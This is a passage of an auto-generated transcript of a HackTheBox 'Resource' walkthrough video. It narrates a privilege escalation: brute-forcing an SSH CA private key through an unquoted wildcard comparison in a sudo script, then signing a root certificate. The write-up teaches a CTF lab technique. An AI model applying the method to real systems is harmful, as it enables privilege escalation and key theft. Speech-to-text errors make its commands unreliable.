+ {"text": "the dock container we have two keys so um the host only has this one and doesn't have this one this is where the old CA was um it looks like this API server is using the new ca to sign keys and if we look it's also got an authorized principle file so that is going to be the different configuration you can think of the principal file like as I guess groups so if we look at off principles we have root support and ZZ enter if I cat support we have two we have support and root user these are the principles that support is allowed to use so when a login attempts like when we tried to log in with a certificate it as support it cats this file and says is your principle one of these if it is that lets us in so if we look at the principles that's allowed for root we need root user so if we go here we can specify root", "start": 2794.96, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
45
+ {"text": "user and root access must be granted manually so let's try some basic ways we could potentially bypass this check so this just checking if root user is equal to principal we could probably put a space beforehand or spacehand and no so it looks like maybe it's trimming spaces or the check is um if root user is in principles right we could check if it's in if we do sa root user so it just checks if this string exists um so my next thought would be maybe we could try to encode something um I'm going to just do perent 42 to URL encode something I don't know if that's a correct thing for e but it doesn't really matter because all I want to do is check this out right so I'm going to copy this key then we can do V or we have to go into the directory so we were in ZZ enter and then go into theer delete put the", "start": 2857.88, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
46
+ {"text": "new one in sh key gen- LF here and we see the percent 42 so it didn't attempt to URL decode it after it went in principal so again what I was hoping is um when it does the check it sees this and then for some reason it decodes the URL and then put a character n 42 is probably a or b right it's probably a or b um let's do man asky um a it's capital B so I was hoping I'd see that but nope I don't so no way to really uh bypass that we could look at the other users principle right there was a zzy enter we're just the support user and we got zzy enter temp so let's add this role so if I add the or Ro I say role I mean principal so we add this principal we copy this this and then let's go back to our key right and V this delete put key gen so I look at it the ZZ enterer has the principal ZZ enter temp so if I do sh- I ZZ enter zzy enter at", "start": 2911.88, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
47
+ {"text": "10 10 1127 make sure one port 2222 it's going to let us in because it cats the um Etsy off principle since I try to log in it cats this file looks at the principles here and says oh you have the right principle you can log in as this user right so if we look here we got user. text again we can do pseudo- L and see ZZ enter is able to run the script opt keysh so let's look at exactly what the script does I'm just going to pipe it over to actually let's look in Vim so we have syntax highlighting right that's better so we specify the ca file give it the public key the username principal and serial so let's see if we don't have five arguments it prints the usage it's going to start off by saying if the itca is equal to the ca we specify and we're catting both of these files and checking the contents then it says says use the", "start": 2991.599, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
48
+ {"text": "apii server to sign with the ca so it doesn't want us to sign keys with Etsy SSH CIT um if we try to view this file do we have permission to no we don't um only root can read that file but the interesting thing here is when it was doing the comparison these are not in quotes and because it's not in quotes wild cards are allowed um so we could root Force the contents of this file one character at a time because we control what this variable is going to be so if we let's see what's a good way to show this um we can just demo it right the ca certificate is going to start with dashes because it's like begin whatever right if I cat the old CA we look at it it starts off probably with begin open SSH private key is my guess right so let us run this so we do pseudo- L we can pseudo this and see the thing so it wants a CA", "start": 3057.4, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
49
+ {"text": "file so let's just do um Echo Dash to Dev shm Testa I guess I'll call it if I C that file it's just one dash awesome so we'll do pseudo opt sign key opt s keysh okay Dev shm test CA uh public key file I'm just going to give it user. text it doesn't really matter username principal serial does not matter uh the principal actually needs to be something of that so we'll do support uh serial has to be a number okay so we have all the arguments right so right now it passed the check and tried to load in the ca right if I go back into the Vim we pass it right here um and then I guess it tried to load the public key file and failed because oh no that's just checking if it's a file we got here we read the principal we got there so it failed on SSH key gen it tried to read the ca file it wasn't real CA and it just a it out we have a", "start": 3131.88, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
50
+ {"text": "and live crypto right so if we edit this so Dev shm was it Tessa I'm going to do dashar right and we're goingon to run that pseudo again and now we have a different error message we have use API for signing this key uh key so we have just validated the first character in that is a dash if we did Dash a we're going to get this Li crypto error right because it's Das Dash we do it again error So based upon the error message we can enumerate this file one character at a time um I'm going to go cat the old CA and let's just um see if the first line is going to be this so we can copy V paste that and then do a star run it and that looks good right so now what we have to do is figure out what the first character after this is and honestly it's going to be b um and I know that because even though you may think this is just purely random data it's not", "start": 3208.599, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
51
+ {"text": "exactly um see we have an error because we don't have a star uh we have to do a line break like that there we go and I say it's not fully random because if we grab the contents of this let's just do CP old CA old CA to T BT delete the dashes B 64- DT we see it starts off with like the algorithm and then we got a bunch of random data here right um so that's why I knew the first bit would be B because it's just doing a base 64 encoding of op SSH so if we B 64 b3b that's why we solve that but long story short we just have to build a script that is capable of writing to this test file running the pseudo Rule and then checking the output right um the next the last thing I do before we jump into creating that script is um talk about how we're going to identify a success and failure right if we just run this we could also like", "start": 3284.2, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
52
+ {"text": "compare the string output and just say if we see this error then we know um it was correct if we see the other one it was bad you could also look at the exit code and that's what I'm going to do just because I like using exit codes more than like um scraping the screen um yeah scraping the screen like looking at the strings so we look at the exit code for this it's just one right if we edit the testc I'm going to get rid of this so it doesn't match right if we run this again then we get the status code it's going to be 255 so on a file does not match it's 255 on the file does match it is one and then the last thing I want to point out again the vulnerability here is because this if then or this if statement wasn't using quotes if they had quoted this then it would be a direct comparison and wild cards don't work but", "start": 3353.76, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
53
+ {"text": "because they didn't quote it um wild cards work and that's why we can boot force it so let's make the exploit now um I'm going to call this um key gen brute I guess I don't know exactly what to call it and we could do python but I've been using go a lot more lately than python so I'm going to create a golang program to do it if you want to see a Python program I'm sure o xdf straight up is going to do it in Python but for me in my videos um when it's simple enough I'm going to be using goang so I'm G to initiate the project with go mod anit key gen brute and then I'm going to touch main.go and then let's open up visual studio code and we'll begin the program okay vs code is loading it takes a little bit my computer is going slow so we do package Main and I want to make this font a little bit bigger I think um let's see", "start": 3414.28, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
54
+ {"text": "is it edit preferences file edit I'm going to pause the video we're going to make this font a little bit bigger and then we will get on with coding okay so let's start the program off with the funk Main and let's create the character set so I'll do character set is equal to um it's going to do lowercase a b c numbers I'm going to add the um Dash SL equals and plus those the like special characters used for base 64 and then we also need spaces because in that um header like the begin SSH key it does use spaces and the other thing I'm going to do I think there's more capital letters than lowercase letters so I'm going to put the k um capitals first because I think that'll make it go faster I'm not positive it doesn't really matter and then we also have to add a line break so do caret plus equals and then um string Rune of", "start": 3480.28, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
55
+ {"text": "what is a line break line breaks that decimal is 10 so that adds line break okay and I don't think I think goang if I just did back sln here it wouldn't does it add it I don't know exactly um fmt print line let's see do we get back sln or just n Go Run main oh we do get that so we don't need to do the string Rune we can just add line break like that I wasn't sure if it would process that so okay we got the character set so now we have to um create the file so I'm going to do file error os. openen file file then we're going to open Dev shm we'll call it ca and then we give it the OS um let's do the create flag uh it's open create there we go uh we need right only and I also want to give it the truncate flag so every time uh we open the file it essentially erases is the file CU if we don't add that and then the", "start": 3547.16, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
56
+ {"text": "file started out with something we'd write to it and um we wouldn't expect the file to have contents and it may just do odd things right so this way we always whenever we open the file get a clean copy that's blank so if we can't open the file let's just Panic out and then the D first statement means when main exits it's going to run this um file. close so um it just makes sure the f is um closed as it exits so now we want to start with our output so I'm going to do output is equal to and then we're going to cheat and give it a few characters to start out with so um because we know it starts out with that um begin SSH private key we can do that let's do head-1 grab this that's not copying the whole thing there we go back sln there we go and we'll print the output man once I like zoomed in that like autocomplete is becoming really", "start": 3629.92, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
57
+ {"text": "obnoxious so we want to do a essentially infinite Loop because we're going to exit once the file's done we don't exactly how well we don't always know how long it is we could actually not use a um blanket Loop because if we look at the Box let's see go here um lsla Etsy SSH the ca was here right GP CA C we know it's 432 characters right um but you won't always see that if we didn't have access to this directory we wouldn't be able to see the size so that's why I'm just leaving it like this right but we could just say oh we know it's 432 so that's the loop we're going to set it to um so now we're going to do four the iterator so this is going to be the counter in the loop and then the character over range of car set and let's see if I is equal to the length of the car set minus one then we", "start": 3706.24, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
58
+ {"text": "return so this breaks the um forever Loop we could also like put a n Loop here I think and we could say break and loop like that right I think that works in goang so either way works we'll do it that way um let's see we couldn't just do break because if I just did break it would break out of this Loop right so that's why I specified end Loop like that so we Loop over this we want to do a file seek and then zero and then we'll do seek start so what we're doing here every time we enter the loop we're seeking to the beginning of the file and then we're going to do a file right string and then we can do fmt Sprint F and then two strings the output and the character right like that and then we do a star and this has to be a string because right now when I'm looping over it's actually a rune a rune is just an n32", "start": 3776.52, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
59
+ {"text": "and the reason why it's going from a um string to a rune like this and not a character is because it doesn't know um what encoding this is it doesn't know this is asy it could be like UTF um 8 and have non- asky characters which could be represented by n32 but not just a single character string um it's a weird like encoding thing but that's why I do that so now we have the file um what I want to do here is create a separate function so we can um test the file so I'm going to do Funk I'm just going to call this test command and then it will return a Boolean and an error and then the command is going to be let's go back here uh do I have the history and grab this like this okay we just called it ca we didn't do test CA a support one that looks fine now we can do CMD is exact command bh- C command so now we run the command", "start": 3864.4, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
60
+ {"text": "so error is that if for error is null return that's fine uh actually we don't so anytime the exit is not going to be zero um this CMD is going to return error so we want to actually have some error handling here so I'm going to do a switch um CMD process State exit code then case one this is going to be return true nil then case two it's be return false nil so what we're doing here I'm going to make this a little smaller hopefully that makes it less obnoxious but um we're treating this error as um there was a major error it's unexpected right and this bullant is going to be does the file match um the ca or not so we have that and now we can return this as error and then I don't think we'd ever really hit that but sure okay so that works and I say we won't really ever hit this because um the studo command's", "start": 3949.68, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
61
+ {"text": "never going to successfully Complete because we're not giving it a public key here so it's going to fail trying to sign user. text um but this should work this actually case 255 right when we looked at the exit code it was one and 255 that's fine so here we just wrote the new file so we can do result error is equal to test command if error is nil we're going to panic because like we have some type of major error here the CMD failed to run all together if the result is true this means the file matched so we're going to say output append the string and then we just want to print the Single Character so string care and then we can break so we break out of the first Loop because we uh found the match we don't need to keep root force in this one character and that may it let's see if it works so we can go", "start": 4037.72, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
62
+ {"text": "build python 3M HTTP server then we'll do a curl HTP 10 1048 8,000 uh key gen brute I'll just call this exploit to make it easy run it and let's see it looks like it's working I don't like how I did print line there real quick so let's go back here um I'm just going to do print so we don't end it with a line break do the same thing with output we want to do go build serve it download run it there we go and we could also put a time in so it will tell us how long this takes to run I think it's going to take about 10 minutes but you can see it going through character by character um let's see if I go into the box ZZ enter sh- I ZZ enter what do we call this certificate 400 what see enter at 10 10 11 27 I wonder if I changed the pub key there I probably did um let's exit that go here where support is send this to pane", "start": 4112.159, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
63
+ {"text": "4 and Etsy SSH uh we're in Dev actually shm so what I to do is just show what the ca looks like right uh we could just do watch dn1 like this and you can see it attempting to Brute Force right so we've got W you can see how many characters it goes at a time I wonder if we can change n to be .1 there we go and you can see it attempting to brute force and exactly how it's working every time it's doing a character again um it's then running the pseudo to chck so this will probably take another eight or so minutes so I'm going to pause the stream and um we resume when it's done okay and now that that's done we have most of the key um it stopped where the space was and I'm guessing we just uh forgot to add a space when I was testing line break yes um we needed a space there if we had that then it would um", "start": 4219.04, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
64
+ {"text": "get the rest of that key but we should be able just to manually fill this piece in so we can copy this let's go back to our host and let's see we can just go here um I'm going to make a new directory we'll call this root I guess VCA uh that's not the right key there we go and it's probably end open S private key and then 1 2 3 4 5 I want to say yes that looks right 1 2 3 4 5 that should be it um tail das1 let's look just double check yeah that's it so we going to CH mod 600 on CA then sh key gen let's do ed25519 I'm going to call this we'll call it IPC again key name doesn't matter because we're signing it with a principal right so we have the key here the ca so we can do sh key gen the identity again identity does not matter um s to specify the ca file the N is the principal and since we have the", "start": 4280.44, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
65
+ {"text": "key now we can give it the I think it's root uncore principle or root uncore user Etsy SSH off principles root yes we can give it root uncore user so we can copy this go back here give it this principle and then the pub key there we go so now we have a key that's valid forever so if we do s key gen- LF we can see theer has the princip uh root user principle so my sh- I my private key has root at 10 10 1127 don't forget the host listens on Port 2222 this lets us in and that's how we can root the Box um and also keep in mind um to show exactly how this is working if we catted the Au principles on support you can see this key is also valid for the support user so we can use the same exact key as support and will let us in but the ZZ ENT user only has the zzy enter temp principle so this key would not let us log in as zzy enter right so hopefully", "start": 4353.04, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}
66
+ {"text": "um the SSH certificate Authority makes sense um by the end of this video and yeah that's going to be the Box hope you guys enjoyed it take care and I will see you all next time", "start": 4437.96, "duration": 0.0, "meta": {"video_id": "ZIzxodu8axg", "title": "HackTheBox - Resource", "url": "https://www.youtube.com/watch?v=ZIzxodu8axg"}}